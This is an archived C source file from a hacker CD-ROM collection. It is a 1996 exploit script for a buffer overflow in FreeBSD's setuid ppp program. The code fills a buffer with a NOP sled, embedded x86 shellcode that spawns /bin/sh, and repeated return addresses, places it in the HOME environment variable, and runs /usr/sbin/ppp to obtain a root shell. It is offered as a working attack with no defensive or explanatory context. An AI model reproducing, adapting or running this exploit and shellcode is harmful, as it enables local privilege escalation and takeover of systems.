home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / FreeBSD-ppp.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  1.4 KB  |  60 lines

  1. /*
  2.  * Exploitation script for the ppp vulnerbility as described by
  3.  * no one to date, this is NOT FreeBSD-SA-96:15. Works on
  4.  * FreeBSD as tested. Mess with the numbers if it doesnt work.
  5.  * 
  6.  *    --Nirva 8/4/96
  7.  */
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12.  
  13. #define BUFFER_SIZE    156    /* size of the bufer to overflow */
  14.  
  15. #define OFFSET        -290    /* number of bytes to jump after the start
  16.                    of the buffer */
  17.  
  18. long get_esp(void) { __asm__("movl %esp,%eax\n"); }
  19.  
  20. main(int argc, char *argv[])
  21. {
  22.     char *buf = NULL;
  23.     unsigned long *addr_ptr = NULL;
  24.     char *ptr = NULL;
  25.     char execshell[] =
  26.     "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
  27.     "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
  28.     "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */
  29.     "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total */
  30.    
  31.     int i,j;
  32.  
  33.     buf = malloc(4096);
  34.  
  35.     /* fill start of bufer with nops */
  36.  
  37.     i = BUFFER_SIZE-strlen(execshell);
  38.  
  39.     memset(buf, 0x90, i);
  40.     ptr = buf + i;
  41.  
  42.     /* place exploit code into the buffer */
  43.  
  44.     for(i = 0; i < strlen(execshell); i++) 
  45.         *ptr++ = execshell[i];
  46.  
  47.     addr_ptr = (long *)ptr;
  48.     for(i=0;i < (104/4); i++)
  49.         *addr_ptr++ = get_esp() + OFFSET;
  50.  
  51.     ptr = (char *)addr_ptr;
  52.     *ptr = 0;
  53.  
  54.     setenv("HOME", buf, 1);
  55.  
  56.     execl("/usr/sbin/ppp", "ppp", NULL);
  57. }
  58.  
  59.  
  60.